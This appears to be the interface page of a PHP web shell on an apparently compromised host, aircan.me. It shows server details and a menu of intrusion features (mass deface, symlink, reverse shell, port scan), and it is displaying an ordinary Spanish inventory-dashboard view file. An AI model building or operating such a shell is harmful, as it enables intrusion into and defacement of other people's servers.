Tul xxx Tul
User / IP
:
216.73.216.159
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
vnet
/
app
/
views
/
dashboard
/
Viewing: index.php
<?php declare(strict_types=1); // Vista: Dashboard. ?> <section class="page"> <?php $uTotal = (int)($stats['uniformes']['total'] ?? 0); $uActivos = (int)($stats['uniformes']['activos'] ?? 0); $uStock = (int)($stats['uniformes']['stock'] ?? 0); $hTotal = (int)($stats['herramientas']['total'] ?? 0); $hDisp = (int)($stats['herramientas']['disponibles'] ?? 0); $hStock = (int)($stats['herramientas']['stock'] ?? 0); $eTotal = (int)($stats['epp']['total'] ?? 0); $eDisp = (int)($stats['epp']['disponibles'] ?? 0); $eStock = (int)($stats['epp']['stock'] ?? 0); $usrTotal = (int)($stats['usuarios']['total'] ?? 0); $usrAct = (int)($stats['usuarios']['activos'] ?? 0); $daily = is_array($dailyMovimientos ?? null) ? (array)$dailyMovimientos : []; $dailyTotalsLocal = is_array($dailyTotals ?? null) ? (array)$dailyTotals : ['entradas' => 0, 'salidas' => 0]; $recent = is_array($recentMovimientos ?? null) ? (array)$recentMovimientos : []; $lowU = is_array($lowUniformes ?? null) ? (array)$lowUniformes : []; $lowH = is_array($lowHerramientas ?? null) ? (array)$lowHerramientas : []; $lowE = is_array($lowEpp ?? null) ? (array)$lowEpp : []; $threshold = (int)($lowThreshold ?? 5); ?> <header class="page__header dash-header"> <div> <h1 class="page__title">Dashboard</h1> <p class="page__subtitle">Bienvenido, <?= htmlspecialchars((string)($usuario['nombre'] ?? ''), ENT_QUOTES, 'UTF-8') ?></p> </div> <div class="dash-header__meta"> <div class="dash-chip">Actualizado: <?= htmlspecialchars(date('Y-m-d H:i'), ENT_QUOTES, 'UTF-8') ?></div> </div> </header> <section class="kpi-grid" aria-label="Indicadores"> <article class="kpi kpi--primary"> <div class="kpi__top"> <div class="kpi__icon" aria-hidden="true"> <svg width="20" height="20" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"> <path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16Z" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/> </svg> </div> <div class="kpi__label">Uniformes</div> </div> <div class="kpi__value"><?= $uTotal ?></div> <div class="kpi__sub">Artículos Activos: <strong><?= $uActivos ?></strong> · Cantidad Total: <strong><?= $uStock ?></strong></div> </article> <article class="kpi kpi--success"> <div class="kpi__top"> <div class="kpi__icon" aria-hidden="true"> <svg width="20" height="20" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"> <path d="M14.7 6.3a1 1 0 0 0 0 1.4l1.6 1.6a1 1 0 0 0 1.4 0l3.77-3.77a6 6 0 0 1-7.94 7.94l-6.91 6.91a2 2 0 0 1-2.83 0l-.71-.71a2 2 0 0 1 0-2.83l6.91-6.91a6 6 0 0 1 7.94-7.94L14.7 6.3Z" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/> </svg> </div> <div class="kpi__label">Herramientas</div> </div> <div class="kpi__value"><?= $hTotal ?></div> <div class="kpi__sub">Herramientas Disponibles: <strong><?= $hDisp ?></strong> · Cantidad Total: <strong><?= $hStock ?></strong></div> </article> <article class="kpi kpi--neutral"> <div class="kpi__top"> <div class="kpi__icon" aria-hidden="true"> <svg width="20" height="20" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"> <path d="M12 2l8 4v6c0 5-3.5 9.5-8 10-4.5-.5-8-5-8-10V6l8-4Z" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/> </svg> </div> <div class="kpi__label">EPP</div> </div> <div class="kpi__value"><?= $eTotal ?></div> <div class="kpi__sub">EPP Disponible: <strong><?= $eDisp ?></strong> · Cantidad Total: <strong><?= $eStock ?></strong></div> </article> <article class="kpi kpi--warn"> <div class="kpi__top"> <div class="kpi__icon" aria-hidden="true"> <svg width="20" height="20" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"> <polyline points="17 1 21 5 17 9" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/> <path d="M3 11V9a4 4 0 0 1 4-4h14" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/> <polyline points="7 23 3 19 7 15" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/> <path d="M21 13v2a4 4 0 0 1-4 4H3" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/> </svg> </div> <div class="kpi__label">Movimientos (7 días)</div> </div> <div class="kpi__value"><?= (int)($dailyTotalsLocal['entradas'] ?? 0) ?></div> <div class="kpi__sub">Entradas · Salidas: <strong><?= (int)($dailyTotalsLocal['salidas'] ?? 0) ?></strong></div> </article> <article class="kpi kpi--neutral"> <div class="kpi__top"> <div class="kpi__icon" aria-hidden="true"> <svg width="20" height="20" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"> <path d="M17 21v-2a4 4 0 0 0-4-4H5a4 4 0 0 0-4 4v2" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/> <circle cx="9" cy="7" r="4" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/> <path d="M23 21v-2a4 4 0 0 0-3-3.87" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/> <path d="M16 3.13a4 4 0 0 1 0 7.75" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/> </svg> </div> <div class="kpi__label">Usuarios</div> </div> <div class="kpi__value"><?= $usrTotal ?></div> <div class="kpi__sub">Usuarios Activos: <strong><?= $usrAct ?></strong></div> </article> </section> <section class="dash-grid" aria-label="Paneles"> <section class="panel dash-panel"> <header class="panel-head"> <div> <h2 class="panel-head__title">Estado de movimientos</h2> <p class="panel-head__subtitle">Entradas vs salidas (últimos 7 días)</p> </div> <div class="panel-head__right"> <a class="btn btn--secondary btn--sm" href="<?= htmlspecialchars((string)BASE_URL, ENT_QUOTES, 'UTF-8') ?>/movimientos">Ver historial</a> </div> </header> <div class="dash-chart" data-dash-chart data-series='<?= htmlspecialchars(json_encode($daily, JSON_UNESCAPED_UNICODE), ENT_QUOTES, "UTF-8") ?>'></div> <div class="dash-legend"> <span class="dash-legend__item"><span class="dot dot--in"></span> Entradas</span> <span class="dash-legend__item"><span class="dot dot--out"></span> Salidas</span> </div> </section> <section class="panel dash-panel"> <header class="panel-head"> <div> <h2 class="panel-head__title">Actividad reciente</h2> <p class="panel-head__subtitle">Últimos movimientos registrados</p> </div> </header> <div class="dash-list"> <?php if (empty($recent)) : ?> <div class="td-muted">No hay movimientos recientes.</div> <?php else : ?> <?php foreach ($recent as $m) : ?> <?php $tipo = (string)($m['tipo'] ?? ''); $mod = (string)($m['modulo'] ?? ''); $modLabel = $mod === 'uniformes' ? 'Uniformes' : ($mod === 'herramientas' ? 'Herramientas' : 'EPP'); $item = trim((string)($m['item_nombre'] ?? '')); $itemId = (int)($m['item_id'] ?? 0); $qty = (int)($m['cantidad'] ?? 0); $desc = (string)($m['descripcion'] ?? ''); $user = (string)($m['usuario_nombre'] ?? ''); $fechaRaw = (string)($m['created_at'] ?? ''); $fecha = $fechaRaw !== '' ? date('m-d H:i', strtotime($fechaRaw)) : ''; ?> <article class="dash-item"> <div class="dash-item__left"> <span class="badge <?= $tipo === 'entrada' ? 'badge--success' : 'badge--muted' ?>"><?= htmlspecialchars($tipo, ENT_QUOTES, 'UTF-8') ?></span> <div class="dash-item__title"> <?= htmlspecialchars($modLabel, ENT_QUOTES, 'UTF-8') ?> · <?= htmlspecialchars($item !== '' ? $item : ('#' . $itemId), ENT_QUOTES, 'UTF-8') ?> </div> <div class="dash-item__meta"><?= htmlspecialchars($desc, ENT_QUOTES, 'UTF-8') ?></div> </div> <div class="dash-item__right"> <div class="dash-item__qty"><?= $qty ?></div> <div class="dash-item__when"><?= htmlspecialchars($fecha !== '' ? ($fecha . ' · ' . $user) : $user, ENT_QUOTES, 'UTF-8') ?></div> </div> </article> <?php endforeach; ?> <?php endif; ?> </div> </section> <section class="panel dash-panel dash-panel--wide"> <header class="panel-head"> <div> <h2 class="panel-head__title">Alertas de stock bajo</h2> <p class="panel-head__subtitle">Ítems con cantidad ≤ <?= $threshold ?></p> </div> </header> <div class="dash-two"> <div class="dash-mini"> <div class="dash-mini__title">Uniformes</div> <?php if (empty($lowU)) : ?> <div class="td-muted">Sin alertas.</div> <?php else : ?> <?php foreach ($lowU as $it) : ?> <?php $id = (int)($it['id'] ?? 0); $nombre = (string)($it['nombre'] ?? ''); $codigo = (string)($it['codigo'] ?? ''); $talla = (string)($it['talla'] ?? ''); $cat = (string)($it['categoria'] ?? ''); $cant = (int)($it['cantidad'] ?? 0); ?> <a class="dash-mini__row" href="<?= htmlspecialchars((string)BASE_URL, ENT_QUOTES, 'UTF-8') ?>/uniformes/edit/<?= $id ?>"> <div class="dash-mini__name"><?= htmlspecialchars($nombre, ENT_QUOTES, 'UTF-8') ?></div> <div class="dash-mini__meta"><?= htmlspecialchars($codigo . ' · ' . $talla . ' · ' . $cat, ENT_QUOTES, 'UTF-8') ?></div> <div class="dash-mini__qty"><?= $cant ?></div> </a> <?php endforeach; ?> <?php endif; ?> </div> <div class="dash-mini"> <div class="dash-mini__title">Herramientas</div> <?php if (empty($lowH)) : ?> <div class="td-muted">Sin alertas.</div> <?php else : ?> <?php foreach ($lowH as $it) : ?> <?php $id = (int)($it['id'] ?? 0); $nombre = (string)($it['nombre'] ?? ''); $codigo = (string)($it['codigo'] ?? ''); $cat = (string)($it['categoria'] ?? ''); $cant = (int)($it['cantidad'] ?? 0); ?> <a class="dash-mini__row" href="<?= htmlspecialchars((string)BASE_URL, ENT_QUOTES, 'UTF-8') ?>/herramientas/edit/<?= $id ?>"> <div class="dash-mini__name"><?= htmlspecialchars($nombre, ENT_QUOTES, 'UTF-8') ?></div> <div class="dash-mini__meta"><?= htmlspecialchars($codigo . ' · ' . $cat, ENT_QUOTES, 'UTF-8') ?></div> <div class="dash-mini__qty"><?= $cant ?></div> </a> <?php endforeach; ?> <?php endif; ?> </div> <div class="dash-mini"> <div class="dash-mini__title">EPP</div> <?php if (empty($lowE)) : ?> <div class="td-muted">Sin alertas.</div> <?php else : ?> <?php foreach ($lowE as $it) : ?> <?php $id = (int)($it['id'] ?? 0); $nombre = (string)($it['nombre'] ?? ''); $codigo = (string)($it['codigo'] ?? ''); $cat = (string)($it['categoria'] ?? ''); $cant = (int)($it['cantidad'] ?? 0); ?> <a class="dash-mini__row" href="<?= htmlspecialchars((string)BASE_URL, ENT_QUOTES, 'UTF-8') ?>/epp/edit/<?= $id ?>"> <div class="dash-mini__name"><?= htmlspecialchars($nombre, ENT_QUOTES, 'UTF-8') ?></div> <div class="dash-mini__meta"><?= htmlspecialchars($codigo . ' · ' . $cat, ENT_QUOTES, 'UTF-8') ?></div> <div class="dash-mini__qty"><?= $cant ?></div> </a> <?php endforeach; ?> <?php endif; ?> </div> </div> </section> </section> </section>
Coded With 💗 by
0x6ick